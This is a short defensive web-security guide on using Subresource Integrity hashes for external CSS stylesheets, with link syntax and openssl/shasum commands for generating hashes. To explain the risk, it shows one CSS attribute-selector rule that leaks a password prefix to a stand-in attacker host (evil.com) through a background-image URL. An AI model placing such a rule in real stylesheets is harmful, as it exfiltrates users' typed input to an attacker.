SRI for External CSS Stylesheets

Protecting External Stylesheets with SRI

SRI is not limited to JavaScript — it also protects <link rel="stylesheet"> elements. While script injection gets more attention, tampered CSS can be equally dangerous, enabling data exfiltration, phishing overlays, and UI redressing attacks.

Why CSS Integrity Matters

Malicious CSS can:

• Exfiltrate data using attribute selectors and background-image URLs:

  input[value^="password"] {
    background: url("https://evil.com/steal?prefix=password");
  }
  

• Overlay phishing forms by positioning fake login forms over legitimate UI
• Hide security warnings by setting display: none on trust indicators
• Redirect clicks using pointer-events and overlay positioning (clickjacking via CSS)

Adding SRI to Stylesheets

<link
  rel="stylesheet"
  href="https://cdn.example.com/normalize.css"
  integrity="sha384-..."
  crossorigin="anonymous"
/>

The syntax is identical to scripts: add integrity and crossorigin attributes.

Generating CSS SRI Hashes

The process is the same as for JavaScript files:

# Using openssl
curl -s https://cdn.example.com/style.css | \
  openssl dgst -sha384 -binary | \
  openssl base64 -A

# Using shasum
curl -s https://cdn.example.com/style.css | \
  shasum -b -a 384 | \
  xxd -r -p | \
  base64

Or use this tool to paste the CSS content and generate the hash instantly in your browser.

Common CSS Frameworks with SRI

Popular frameworks that provide SRI hashes:

• Bootstrap — official CDN links include integrity attributes
• Tailwind CSS — CDN builds come with published hashes
• Bulma — cdnjs and jsDelivr provide integrity values
• Font Awesome — kit scripts and CSS both support SRI

Important Considerations

• @import rules are not protected by SRI — only the initially loaded stylesheet is verified
• Font files loaded via @font-face within the stylesheet are not covered by the stylesheet's SRI hash
• CSS custom properties (variables) set by an attacker in a tampered stylesheet persist across the cascade